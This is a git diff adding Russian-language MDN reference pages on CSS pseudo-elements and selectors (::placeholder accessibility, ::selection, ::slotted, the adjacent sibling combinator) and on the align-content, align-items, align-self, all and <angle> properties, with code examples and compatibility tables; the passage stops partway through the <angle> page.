Коэффициент цветового контраста определяется путём сравнения яркости текста placeholder и цветом фона формы ввода. Чтобы соответствовать рекомендациям Web Content Accessibility Guidelines (WCAG), требуется соотношение 4.5:1 для основного текста и 3:1 для более крупного текста, например, заголовков. Крупный текст определяется как 18.66px и больше с жирным начертанием или 24px и больше с обычным начертанием.

+ + + +

Использование

+ +

Текст placeholder с высоким цветовым контрастом может быть воспринят как введённые данные. Текст placeholder исчезает, когда пользователь вводит что-либо в {{htmlelement("input")}} элемент. Эти обстоятельства могут помешать заполнить правильно форму, особенно людям с когнитивными проблемами.

+ +

Другой подход к представлению информации placeholder заключается в том, чтобы расположить её вне формы ввода в непосредственной близости от неё, а затем использовать aria-describedby для программного связывания {{HTMLElement("input")}} элемента с подсказкой.

+ +

В таком случае содержимое подсказки будет доступно даже в том случае, если что-то введено в форму. Большинство скринридеров используют aria-describedby для чтения подсказок после того, как будет прочитан текст метки формы. Пользователь может отключить эту функцию, если дополнительная информация окажется ему ненужной.

+ +
<label for="user-email">Ваш email адрес</label>
+<span id="user-email-hint" class="input-hint">Пример: jane@sample.com</span>
+<input id="user-email" aria-describedby="user-email-hint" name="email" type="email">
+
+ + + +

Режим высокой контрастности Windows

+ +

Текст placeholder будет отображаться с теми же стилями, что и введённый пользователем текст при работе в режиме высокой контрастности Windows. Это вызовет затруднения с определением того какой текст был введён, а какой является placeholder.

+ + + +

Метки

+ +

Placeholder не является заменой элемента {{htmlelement("label")}}. Без метки, которая программно связывается с формой с помощью {{htmlattrxref("for", "label")}} и {{htmlattrxref("id")}} аттрибутов, такие программы, как скринридеры не смогут анализировать элементы {{htmlelement("input")}}.

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Pseudo-Elements', '#placeholder-pseudo', '::placeholder')}}{{Spec2('CSS4 Pseudo-Elements')}}Первоначальное описание.
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("css.selectors.placeholder")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_doublecolon_selection/index.html b/files/ru/web/css/_doublecolon_selection/index.html new file mode 100644 index 0000000000..a359df7cd1 --- /dev/null +++ b/files/ru/web/css/_doublecolon_selection/index.html @@ -0,0 +1,109 @@ +--- +title: '::selection' +slug: 'Web/CSS/::selection' +tags: + - CSS + - Experimental + - Layoout + - Reference + - Псевдоэлементы +translation_of: 'Web/CSS/::selection' +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Псевдоэлемент ::selection позволяет применить стили к части документа, который был выделен пользователем (например, с помощью мыши).

+ +
::selection {
+  background: cyan;
+}
+ +

Разрешённые свойства

+ +

Только небольшое подмножество CSS-свойств может быть использовано с псевдоэлементом ::selection :

+ + + +
+

Заметим, что, в частности, свойство {{cssxref("background-image")}} игнорируется.

+
+ +

Синтаксис

+ +
/* синтаксис Firefox */
+::-moz-selection
+
+{{csssyntax}}
+
+ +

Пример

+ +

HTML

+ +
<div>Этот текст будет стилизован особым образом при выделении.</div>
+<p>Также попробуйте выделить текст в этом параграфе.</p>
+ +

CSS

+ +
/* Сделаем выделенный текст золотым с красным фоном */
+::-moz-selection {
+  color: gold;
+  background: red;
+}
+
+::selection {
+  color: gold;
+  background: red;
+}
+
+/* Сделаем выделенный в параграфе текст белым на синем фоне */
+p::-moz-selection {
+  color: white;
+  background: blue;
+}
+
+p::selection {
+  color: white;
+  background: blue;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Пример')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Pseudo-Elements', '#selectordef-selection', '::selection')}}{{Spec2('CSS4 Pseudo-Elements')}}Изначальное определение.
+ +
+

Примечание: Хотя псевдоэлемент ::selection присутствовал в черновиках стандарта CSS Selectors Level 3, он был убран в течение фазы Candidate Recommendation, так как его поведение было недостаточно проработано (особенно с вложенным элементами) и согласованность не была достигнута (основываясь на обсуждении в списке рассылки W3C Style). Этот псевдоэлемент был возвращён в Pseudo-Elements Level 4.

+
+ +

Поддержка браузерами

+ +
+

{{Compat("css.selectors.selection")}}

+
diff --git a/files/ru/web/css/_doublecolon_slotted/index.html b/files/ru/web/css/_doublecolon_slotted/index.html new file mode 100644 index 0000000000..e64d20abe3 --- /dev/null +++ b/files/ru/web/css/_doublecolon_slotted/index.html @@ -0,0 +1,106 @@ +--- +title: '::slotted()' +slug: 'Web/CSS/::slotted' +translation_of: 'Web/CSS/::slotted' +--- +
{{ CSSRef }}
+ +

CSS псевдо-элемент ::slotted() представляет собой любой элемент, помещенный в слот внутри HTML-шаблона (дополнительная информация в Using templates and slots).

+ +

Это работает только при использовании внутри CSS, помещенного в shadow DOM. Обратите также внимание, что этот селектор не будет выбирать текстовый узел, помещенный в слот; он нацелен только на фактические элементы.

+ +
/* Выбирает любой элемент, помещенный в слот */
+::slotted(*) {
+  font-weight: bold;
+}
+
+/* Выбирает только <span>, помещенный в слот */
+::slotted(span) {
+  font-weight: bold;
+}
+
+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Следующие фрагменты взяты из нашей демо  slotted-pseudo-element  (see it live also).

+ +

В этом демо мы использовали простой шаблом с тремя слотами:

+ +
<template id="person-template">
+  <div>
+    <h2>Personal ID Card</h2>
+    <slot name="person-name">NAME MISSING</slot>
+    <ul>
+      <li><slot name="person-age">AGE MISSING</slot></li>
+      <li><slot name="person-occupation">OCCUPATION MISSING</slot></li>
+    </ul>
+  </div>
+</template>
+ +

Пользовательский элемент — <person-details> — определяется следующим образом:

+ +
customElements.define('person-details',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      let template = document.getElementById('person-template');
+      let templateContent = template.content;
+
+      const shadowRoot = this.attachShadow({mode: 'open'});
+
+      let style = document.createElement('style');
+      style.textContent = 'div { padding: 10px; border: 1px solid gray; width: 200px; margin: 10px; }' +
+                           'h2 { margin: 0 0 10px; }' +
+                           'ul { margin: 0; }' +
+                           'p { margin: 10px 0; }' +
+                           '::slotted(*) { color: gray; font-family: sans-serif; } ';
+
+      shadowRoot.appendChild(style);
+      shadowRoot.appendChild(templateContent.cloneNode(true));
+  }
+})
+ +

Вы увидите, что при заполнении элемента style содержимым мы выбираем все  slotted-элементы (::slotted(*)) и задаем им другой цвет и шрифт. Это позволяет им лучше выделяться рядом с теми слотами, которые еще не были успешно заполнены.

+ +

Элемент выглядит следующим образом при вставке на страницу:

+ +
<person-details>
+  <p slot="person-name">Dr. Shazaam</p>
+  <span slot="person-age">Immortal</span>
+  <span slot="person-occupation">Superhero</span>
+</person-details>
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS Scope', '#slotted-pseudo', '::slotted') }}{{ Spec2('CSS Scope') }}Первое определение.
+ +

Поддержка браузерами

+ + + +

{{Compat("css.selectors.slotted")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/adjacent_sibling_combinator/index.html b/files/ru/web/css/adjacent_sibling_combinator/index.html new file mode 100644 index 0000000000..42893ac5e3 --- /dev/null +++ b/files/ru/web/css/adjacent_sibling_combinator/index.html @@ -0,0 +1,130 @@ +--- +title: Смежные селекторы +slug: Web/CSS/Adjacent_sibling_combinator +translation_of: Web/CSS/Adjacent_sibling_combinator +--- +

{{CSSRef("Selectors")}}

+ +

Указывает на смежный или следующий селектор. Обеспечивает выбор только элемента расположенного непосредственно за определенным в первой части элементом.

+ +

Синтакс

+ +
former_element + target_element { style properties }
+
+ +

Пример

+ +
+
li:first-of-type + li {
+  color: red;
+}
+
+ +
<ul>
+  <li>Один</li>
+  <li>Два</li>
+  <li>Три</li>
+</ul>
+
+ +

{{EmbedLiveSample('Example_1', 200, 100)}}

+ +

Так же может использоваться для задания стиля определенного класса "caption span" следующих {{HTMLElement("img")}} вложенных элементов:

+ +
img + span.caption {
+  font-style: italic;
+}
+
+ +

сработает только на тех тегах span, для которых задан класс caption:

+ +
<img src="photo1.jpg"><span class="caption">Первая фотка</span>
+<img src="photo2.jpg"><span class="caption">Вторая</span>
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Selectors', '#adjacent-sibling-combinators', 'next-sibling combinator')}}{{Spec2('CSS4 Selectors')}} 
{{SpecName('CSS3 Selectors', '#adjacent-sibling-combinators', 'Adjacent sibling combinator')}}{{Spec2('CSS3 Selectors')}} 
{{SpecName('CSS2.1', 'selector.html#adjacent-selectors', 'Adjacent sibling selectors')}}{{Spec2('CSS2.1')}}Изначальное определение
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}7.0[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка2.1{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Интернет эксплорер 7 не обновляет стили корректно, когда элемент динамически размещается до элемента, отобранном селектором. А в Интернет эксплорер 8, если вставлен динамически кликом на ссылку, стиль превдокласса first-child не применяется до того, как ссылка потеряет фокус.

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/align-content/index.html b/files/ru/web/css/align-content/index.html new file mode 100644 index 0000000000..26d4bf0857 --- /dev/null +++ b/files/ru/web/css/align-content/index.html @@ -0,0 +1,287 @@ +--- +title: align-content +slug: Web/CSS/align-content +translation_of: Web/CSS/align-content +--- +
{{CSSRef}}
+ +

Свойство {{cssxRef('', 'CSS')}} align-content устанавливает распределение пространства между и вокруг элементами контента вдоль поперечной оси {{cssxRef('CSS_Flexible_Box_Layout', 'flexbox')}} контейнера или вдоль блочной оси {{cssxRef('CSS_Grid_Layout', 'grid')}} контейнера.

+ +

The interactive example below use Grid Layout to demonstrate some of the values of this property.

+ +
{{EmbedInteractiveExample("pages/css/align-content.html")}}
+ + + +

Это свойство не влияет на однострочные flex-контейнеры (т.е. с flex-wrap: nowrap)

+ +

Синтаксис

+ +
/* Основное позиционное выравнивание */
+/* align-content не принимает значения left и right */
+align-content: center;     /* Расположить элементы вокруг центра */
+align-content: start;      /* Расположить элементы в начале */
+align-content: end;        /* Расположить элементы в конце */
+align-content: flex-start; /* Расположить элементы flex в начале */
+align-content: flex-end;   /* Расположить элементы flex в конце */
+
+/* Нормальное выравнивание */
+align-content: normal;
+
+/* Выравнивание по базовой линии */
+align-content: baseline;
+align-content: first baseline;
+align-content: last baseline;
+
+/* Распределённое выравнивание */
+align-content: space-between; /* Распределить элементы равномерно
+                                 Первый элемент находится на одном уровне с началом,
+                                 последней - совпадает с концом */
+align-content: space-around;  /* Распределить элементы равномерно
+                                 Элементы имеют половинное пространство
+                                 на каждом конце */
+align-content: space-evenly;  /* Распределить элементы равномерно
+                                 Элементы имеют одинаковое пространство вокруг них */
+align-content: stretch;       /* Распределить элементы равномерно
+                                 Растянуть 'auto'-размерные элементы, чтобы заполнить
+                                 контейнер */
+
+/* Выравнивание переполнения (overflow) */
+align-content: safe center;
+align-content: unsafe center;
+
+/* Глобальные значения */
+align-content: inherit;
+align-content: initial;
+align-content: unset;
+
+ +

Значения

+ +
+
start
+
Элементы расположены вплотную друг к другу, прижавшись к началу контейнера выравнивания по поперечной оси.
+
end
+
Элементы расположены вплотную друг к другу, прижавшись к концу контейнера выравнивания по поперечной оси.
+
flex-start
+
Элементы расположены вплотную друг к другу, прижавшись к краю контейнера выравнивания в зависимости от поперечной стороны начала (cross-start) контейнера flex.
+ Это относится только к элементам макета flex. Для элементов, которые не являются потомками flex контейнера, это значение трактуется как start.
+
flex-end
+
Элементы расположены вплотную друг к другу, прижавшись к краю контейнера выравнивания в зависимости от поперечной стороны конца (cross-end) контейнера flex.
+ Это относится только к элементам макета flex. Для элементов, которые не являются потомками flex контейнера, это значение трактуется как end.
+
center
+
Элементы расположены вплотную друг к другу в центре контейнера выравнивания по поперечной оси.
+
normal
+
Элементы расположены в их дефолтной позиции как если бы align-content не было определено.
+
baseline
+ first baseline
+ last baseline
+
базовая линия - это линия, на которой «сидит» большинство букв и ниже которой располагаются нижние выносные элементы (свисания).
+
Определяет участие в выравнивании первой или последней базовой линии: выравнивает базовую линию выравнивания первого или последнего базового набора блока с соответствующей базовой линией в общем первом или последнем базовом наборе всех блоков в его группе совместного использования базовой линии.
+ Резервное выравнивание для first baseline равно start, для last baseline - end.
+
space-between
+
Элементы равномерно распределены внутри контейнера выравнивания вдоль поперечной оси. Интервал между каждой парой соседних элементов одинаков. Первый элемент находится на одном уровне с начальной кромкой контейнера выравнивания на поперечной оси, а последний элемент находится на одном уровне с конечной кромкой контейнера выравнивания на поперечной оси.
+
space-around
+
Элементы равномерно распределены внутри контейнера выравнивания вдоль поперечной оси. Интервал между каждой парой соседних предметов одинаков. Пустое пространство до первого и после последнего элемента равно половине пространства между каждой парой смежных элементов.
+
space-evenly
+
Элементы равномерно распределены внутри контейнера выравнивания вдоль поперечной оси. Интервал между каждой парой соседних элементов, начальным краем и первым элементом, а также конечным краем и последним элементом абсолютно одинаков.
+
stretch
+
Если объединённый размер элементов вдоль поперечной оси меньше размера контейнера выравнивания, размер любого auto-размерного элемента увеличивается одинаково (не пропорционально), но при этом соблюдаются ограничения, налагаемые {{cssxRef('max-height')}}/{{cssxRef('max-width')}} (или эквивалентной функциональности), так что объединённый размер точно заполняет контейнер выравнивания вдоль поперечной оси.
+
safe
+
Используется вместе с ключевым словом выравнивания. Если выбранное ключевое слово означает, что элемент переполняет контейнер выравнивания, что приводит к потере данных, вместо этого элемент выравнивается, как если бы режим выравнивания был start.
+
unsafe
+
Используется вместе с ключевым словом выравнивания. Независимо от относительных размеров элемента и контейнера выравнивания и от того, может ли произойти переполнение, которое приводит к потере данных, данное значение выравнивания учитывается.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

CSS

+ +
#container {
+  height:200px;
+  width: 240px;
+  align-content: center; /* Can be changed in the live sample */
+  background-color: #8c8c8c;
+}
+
+.flex {
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.grid {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 50px);
+}
+
+div > div {
+  box-sizing: border-box;
+  border: 2px solid #8c8c8c;
+  width: 50px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+#item1 {
+  background-color: #8cffa0;
+  min-height: 30px;
+}
+
+#item2 {
+  background-color: #a0c8ff;
+  min-height: 50px;
+}
+
+#item3 {
+  background-color: #ffa08c;
+  min-height: 40px;
+}
+
+#item4 {
+  background-color: #ffff8c;
+  min-height: 60px;
+}
+
+#item5 {
+  background-color: #ff8cff;
+  min-height: 70px;
+}
+
+#item6 {
+  background-color: #8cffff;
+  min-height: 50px;
+  font-size: 30px;
+}
+
+select {
+  font-size: 16px;
+}
+
+.row {
+  margin-top: 10px;
+}
+
+ +

HTML

+ +
<div id="container" class="flex">
+  <div id="item1">1</div>
+  <div id="item2">2</div>
+  <div id="item3">3</div>
+  <div id="item4">4</div>
+  <div id="item5">5</div>
+  <div id="item6">6</div>
+</div>
+
+<div class="row">
+  <label for="display">display: </label>
+  <select id="display">
+    <option value="flex">flex</option>
+    <option value="grid">grid</option>
+  </select>
+</div>
+
+<div class="row">
+  <label for="values">align-content: </label>
+  <select id="values">
+    <option value="normal">normal</option>
+    <option value="stretch">stretch</option>
+    <option value="flex-start">flex-start</option>
+    <option value="flex-end">flex-end</option>
+    <option value="center" selected>center</option>
+    <option value="space-between">space-between</option>
+    <option value="space-around">space-around</option>
+    <option value="space-evenly">space-evenly</option>
+
+    <option value="start">start</option>
+    <option value="end">end</option>
+    <option value="left">left</option>
+    <option value="right">right</option>
+
+    <option value="baseline">baseline</option>
+    <option value="first baseline">first baseline</option>
+    <option value="last baseline">last baseline</option>
+
+    <option value="safe center">safe center</option>
+    <option value="unsafe center">unsafe center</option>
+    <option value="safe right">safe right</option>
+    <option value="unsafe right">unsafe right</option>
+    <option value="safe end">safe end</option>
+    <option value="unsafe end">unsafe end</option>
+    <option value="safe flex-end">safe flex-end</option>
+    <option value="unsafe flex-end">unsafe flex-end</option>
+  </select>
+</div>
+
+ + + +

Результат

+ +

{{EmbedLiveSample('Пример', 260, 290)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS3 Box Alignment", "#propdef-align-content", "align-content")}}{{Spec2("CSS3 Box Alignment")}}Добавлены значения [ first | last ]? baseline, start, end, left, right, unsafe | safe.
{{SpecName('CSS3 Flexbox', '#align-content', 'align-content')}}{{Spec2('CSS3 Flexbox')}}Начальное определение
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + +

Support in Flex layout

+ +

{{Compat("css.properties.align-content.flex_context")}}

+ +

Support in Grid layout

+ +

{{Compat("css.properties.align-content.grid_context")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/align-items/index.html b/files/ru/web/css/align-items/index.html new file mode 100644 index 0000000000..0740e845d0 --- /dev/null +++ b/files/ru/web/css/align-items/index.html @@ -0,0 +1,149 @@ +--- +title: align-items +slug: Web/CSS/align-items +translation_of: Web/CSS/align-items +--- +

{{CSSRef}}

+ +

Описание

+ +

CSS свойство align-items выравнивает flex-элементы текущей flex-линии таким же образом, как и justify-content, но в перпендикулярном направлении.

+ +

{{cssinfo}}

+ +

Подробнее и больше информации читайте в Использование гибких блоков CSS.

+ +

Синтаксис

+ +
/* Align to cross-start */
+align-items: flex-start;
+
+/* Align to cross-end */
+align-items: flex-end;
+
+/* Центрировать элементы в поперечной оси */
+align-items: center;
+
+/* Выровняйте базовые линии предметов */
+align-items: baseline;
+
+/* Растянуть предметы, чтобы соответствовать */
+align-items: stretch;
+
+/* Глобальные значения */
+align-items: inherit;
+align-items: initial;
+align-items: unset;
+
+ +

Значения

+ +
+
normal
+
Эффект этого ключевого слова зависит от режима макета, в котором мы находимся:: +
    +
  • В абсолютно позиционированных макетах ключевое слово ведет себя как start в замененных абсолютно позиционированных блоках, и как stretch во всех других абсолютно позиционированных блоках.
    • +
  • В статическом положении абсолютно позиционированных макетов ключевое слово ведет себя как stretch.
    • +
  • Для гибких элементов ключевое слово ведет себя как stretch.
    • +
  • Для элементов сетки это ключевое слово ведет к поведению, аналогичному stretch, за исключением полей с соотношением сторон или внутренних размеров, где оно ведет себя как start.
    • +
  • Это свойство не применяется к блокам уровня блока и к ячейкам таблицы.
    • +
+
+
flex-start
+
Край поперечного начала края гибкого элемента выровнен с краем поперечного начала линии.
+
flex-end
+
The cross-end margin edge of the flex item is flushed with the cross-end edge of the line.
+
center
+
Внешний отступ полей гибкого элемента центрируется в пределах линии на поперечной оси. Если поперечный размер элемента больше, чем у гибкого контейнера, он будет одинаково переполнен в обоих направлениях.
+
baseline
+
All flex items are aligned such that their baselines align. The item with the largest distance between its cross-start margin edge and its baseline is flushed with the cross-start edge of the line.
+
stretch
+
Элементы Flex растягиваются, например, поперечный размер поля элемента совпадает с линией при соблюдении ограничений ширины и высоты.
+
+

Формальный синтаксис

+
+
+ +
{{csssyntax}}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Flexbox', '#align-items', 'align-items') }}{{ Spec2('CSS3 Flexbox') }}Начальное определение
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support21.0{{ property_prefix("-webkit") }}{{ CompatGeckoDesktop("20.0") }}[1]11.0 [2]12.107.0{{ property_prefix("-webkit") }} 
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.4{{CompatUnknown}}{{ CompatGeckoMobile("20.0") }}[1]{{CompatNo}}12.107.0{{ property_prefix("-webkit") }}
+
+ +

[1] Чтобы активировать поддержку flexbox в Firefox 18 и 19, пользователь должен посетить about:config  и изменить значение предпочтения layout.css.flexbox.enabled на true. Многострочный flexbox поддерживается с Firefox 28.

+ +

[2] В Internet Explorer 10-11 (но не 12+), если в элементах flex столбца есть align-items: center; установите на них, и если их содержание слишком велико, они будут выходить за границы своего контейнера. Смотрите Flexbug #2 для получения дополнительной информации..

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/align-self/index.html b/files/ru/web/css/align-self/index.html new file mode 100644 index 0000000000..829e7c10ff --- /dev/null +++ b/files/ru/web/css/align-self/index.html @@ -0,0 +1,138 @@ +--- +title: align-self +slug: Web/CSS/align-self +tags: + - CSS + - flexbox + - Свойства +translation_of: Web/CSS/align-self +--- +

{{CSSRef}}

+ +

Описание

+ +

Свойство CSS align-self выравнивает flex-элементы по текущей flex-линии, переопределяя значение свойства align-items. Если у какого-либо flex-элемента margin в поперечной оси выставлен в auto, то align-self игнорируется.

+ +

{{cssinfo}}

+ +

Данное свойство не применяется к block-level boxes и к ячейкам таблицы

+ +

Подробнее и больше информации читайте в Using CSS flexible boxes.

+ +

Синтаксис

+ +
/* Keyword values */
+align-self: auto;
+align-self: normal;
+
+/* Positional alignment */
+/* align-self does not take left and right values */
+align-self: center; /* Put the item around the center */
+align-self: start; /* Put the item at the start */
+align-self: end; /* Put the item at the end */
+align-self: self-start; /* Align the item flush at the start */
+align-self: self-end; /* Align the item flush at the end */
+align-self: flex-start; /* Put the flex item at the start */
+align-self: flex-end; /* Put the flex item at the end */
+
+/* Baseline alignment */
+align-self: baseline;
+align-self: first baseline;
+align-self: last baseline;
+align-self: stretch; /* Stretch 'auto'-sized items to fit the container */
+
+/* Overflow alignment */
+align-self: safe center;
+align-self: unsafe center;
+
+/* Global values */
+align-self: inherit;
+align-self: initial;
+align-self: unset;
+ +

Значения

+ +
+
auto
+
Computes to the parent's {{cssxref("align-items")}} value.
+
normal
+
The effect of this keyword is dependent of the layout mode we are in: +
    +
  • In absolutely-positioned layouts, the keyword behaves like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes.
    • +
  • In static position of absolutely-positioned layouts, the keyword behaves as stretch.
    • +
  • For flex items, the keyword behaves as stretch.
    • +
  • For grid items, this keyword leads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start.
    • +
  • The property doesn't apply to block-level boxes, and to table cells.
    • +
+
+
self-start
+
Aligns the items to be flush with the edge of the alignment container corresponding to the item's start side in the cross axis.
+
self-end
+
Aligns the items to be flush with the edge of the alignment container corresponding to the item's end side in the cross axis.
+
flex-start
+
The cross-start margin edge of the flex item is flushed with the cross-start edge of the line.
+
flex-end
+
The cross-end margin edge of the flex item is flushed with the cross-end edge of the line.
+
center
+
The flex item's margin box is centered within the line on the cross-axis. If the cross-size of the item is larger than the flex container, it will overflow equally in both directions.
+
baseline
+ first baseline
+ last baseline
+
Specifies participation in first- or last-baseline alignment: aligns the alignment baseline of the box’s first or last baseline set with the corresponding baseline in the shared first or last baseline set of all the boxes in its baseline-sharing group.
+ The fallback alignment for first baseline is start, the one for last baseline is end.
+
stretch
+
If the combined size of the items along the cross axis is less than the size of the alignment container and the item is auto-sized, its size is increased equally (not proportionally), while still respecting the constraints imposed by {{cssxref("max-height")}}/{{cssxref("max-width")}} (or equivalent functionality), so that the combined size of all auto-sized items exactly fills the alignment container along the cross axis.
+
safe
+
If the size of the item overflows the alignment container, the item is instead aligned as if the alignment mode were start.
+
unsafe
+
Regardless of the relative sizes of the item and alignment container, the given alignment value is honored.
+
 
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box Alignment', '#align-self-property', 'align-self') }}{{ Spec2('CSS3 Box Alignment') }}Initial definition
+ +

Совместимость с браузерами

+ + + +

Support in Flex layout

+ +

{{Compat("css.properties.align-self.flex_context")}}

+ +

Support in Grid layout

+ +

{{Compat("css.properties.align-self.grid_context")}}

+ +
{{CSSRef}}
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/all/index.html b/files/ru/web/css/all/index.html new file mode 100644 index 0000000000..6b8e6d79f8 --- /dev/null +++ b/files/ru/web/css/all/index.html @@ -0,0 +1,153 @@ +--- +title: all +slug: Web/CSS/all +translation_of: Web/CSS/all +--- +
{{CSSRef}}
+ +

Описание

+ +

Сокращенное свойство CSS all сбрасывает все свойства, кроме {{cssxref("unicode-bidi")}} и {{cssxref("direction")}}, до их начального или унаследованного значения.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
all: initial;
+all: inherit;
+all: unset;
+
+/* CSS Cascading and Inheritance Level 4 */
+all: revert;
+
+ +

Значения

+ +
+
initial
+
Это ключевое слово указывает на изменение всех свойств, применяемых к элементу или родительскому элементу. Значения {{cssxref("unicode-bidi")}} и {{cssxref("direction")}} не затрагиваются.
+
inherit
+
Это ключевое слово указывает на изменение всех свойств, применяемых к элементу или родительскому элементу, на значение их родителя. Значения {{cssxref("unicode-bidi")}} и {{cssxref("direction")}} не затрагиваются.
+
unset
+
Это ключевое слово указывает на изменение всех свойств, применимых к элементу или родительскому элементу, на значение их родителя, если они наследуются или на их начальное значение, если нет. Значения {{cssxref("unicode-bidi")}} и {{cssxref("direction")}} не затрагиваются.
+
revert
+
Если каскадным значением свойства является ключевое слово revert, поведение зависит от источника, которому принадлежит объявление: +
+
user-agent origin
+
Эквивалент unset.
+
user origin
+
Откатывает каскад до уровня пользовательского агента, так что указанное значение вычисляется так, как если бы для этого свойства не были заданы правила уровня автора или уровня пользователя.
+
author origin
+
Откатывает каскад до уровня пользователя, так что указанное значение вычисляется так, как если бы для этого свойства не было задано никаких правил уровня автора. В целях возврата этот источник включает в себя источники переопределения и анимации.
+
+
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

HTML

+ +
<blockquote id="quote">Lorem ipsum dolor sit amet, consectetur adipiscing elit.</blockquote> Phasellus eget velit sagittis.
+ +

CSS

+ +
html {
+  font-size: small;
+  background-color: #F0F0F0;
+  color: blue;
+}
+
+blockquote {
+  background-color: skyblue;
+  color: red;
+}
+
+ +

Результат:

+ +
+

No all property

+ + + + +{{EmbedLiveSample("ex0", "200", "125")}} + +

{{HTMLElement("blockquote")}} использует стили браузера по умолчанию вместе с определенным фоном и цветом текста. Он также ведет себя как block элемент : текст, который следует за ним, находится под ним.

+
+ +
+

all:unset

+ + + + +{{EmbedLiveSample("ex1", "200", "125")}} + +

{{HTMLElement("blockquote")}} не использует стили браузера по умолчанию: теперь это inline элемент (начальное значение), его {{cssxref("background-color")}} является transparent (начальное значение), но его {{cssxref("font-size")}} по-прежнему small унаследованное значение) и его {{cssxref("color")}} является blue (унаследованное значени).

+
+ +
+

all:initial

+ + + + +{{EmbedLiveSample("ex2", "200", "125")}} + +

{{HTMLElement("blockquote")}} не использует стили браузера по умолчанию: теперь это inline элемент(начальное значение), его {{cssxref("background-color")}} является transparent (начальное значение), его {{cssxref("font-size")}} является normal (начальное значение) и его {{cssxref("color")}} является black (начальное значение).

+
+ +
+

all:inherit

+ + + + +{{EmbedLiveSample("ex3", "200", "125")}} + +

{{HTMLElement("blockquote")}} не использует стили браузера по умолчанию: теперь это block элемент (унаследованное значение от содержащего его {{HTMLElement("div")}}), его {{cssxref("background-color")}} является transparent (унаследованное значение), его {{cssxref("font-size")}} является small (унаследованное значение) и его {{cssxref("color")}} является blue (унаследованное значение).

+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Cascade', '#all-shorthand', 'all') }}{{ Spec2('CSS3 Cascade') }}Начальное определение.
{{ SpecName('CSS4 Cascade', '#all-shorthand', 'all') }}{{ Spec2('CSS4 Cascade') }}Добавлено значение revert.
+ +

Совместимость с браузерами

+ +

{{Compat("css.properties.all")}}

+ +

Смотрите также

+ +

Значения свойств в масштабе CSS:  {{cssxref("initial")}}, {{cssxref("inherit")}}, {{cssxref("unset")}}, и {{cssxref("revert")}}.

diff --git a/files/ru/web/css/angle/index.html b/files/ru/web/css/angle/index.html new file mode 100644 index 0000000000..19a6acc16f --- /dev/null +++ b/files/ru/web/css/angle/index.html @@ -0,0 +1,92 @@ +--- +title: +slug: Web/CSS/angle +tags: + - CSS + - Web + - Тип данных CSS +translation_of: Web/CSS/angle +--- +
{{ CSSRef() }}
+ +

Тип данных CSS <angle> представляет собой значение угла, выраженное в градусах, градах, радианах или оборотах. Он используется, например, в {{cssxref ("<gradient>")}}  и в некоторых функциях {{cssxref ("transform")}}.

+ +

{{EmbedInteractiveExample("pages/css/type-angle.html")}}

+ +

Синтаксис

+ +

Тип данных <angle> состоит из числа ({{cssxref("<number>")}}), за которым следует одна из единиц измерения, представленные ниже. Между литералом единицы измерения и цифрой нет пробела. После 0 указывать единицу измерения необязательно.

+ +

Опционально перед числом может стоять знак + или - . Положительное значение отмеряется по часовой стрелке, а отрицательные – против часовой. Чтобы достичь статистических свойств, каждый угол может быть представлен разными значениями, эквивалентными друг другу. Например, 90deg равняется -270deg, а 1turn равняется 4turn. Тем не менее, для достижения динамических свойств эфект будет другим. Например, при применении {{cssxref ("animation")}} или {{cssxref ("transition")}}. 

+ +

Единицы измерения

+ +
+
deg
+
+

Представляет угол в градусах. Один полный круг равен 360deg. Например: 0deg, 90deg, 14.23deg.

+
+
grad
+
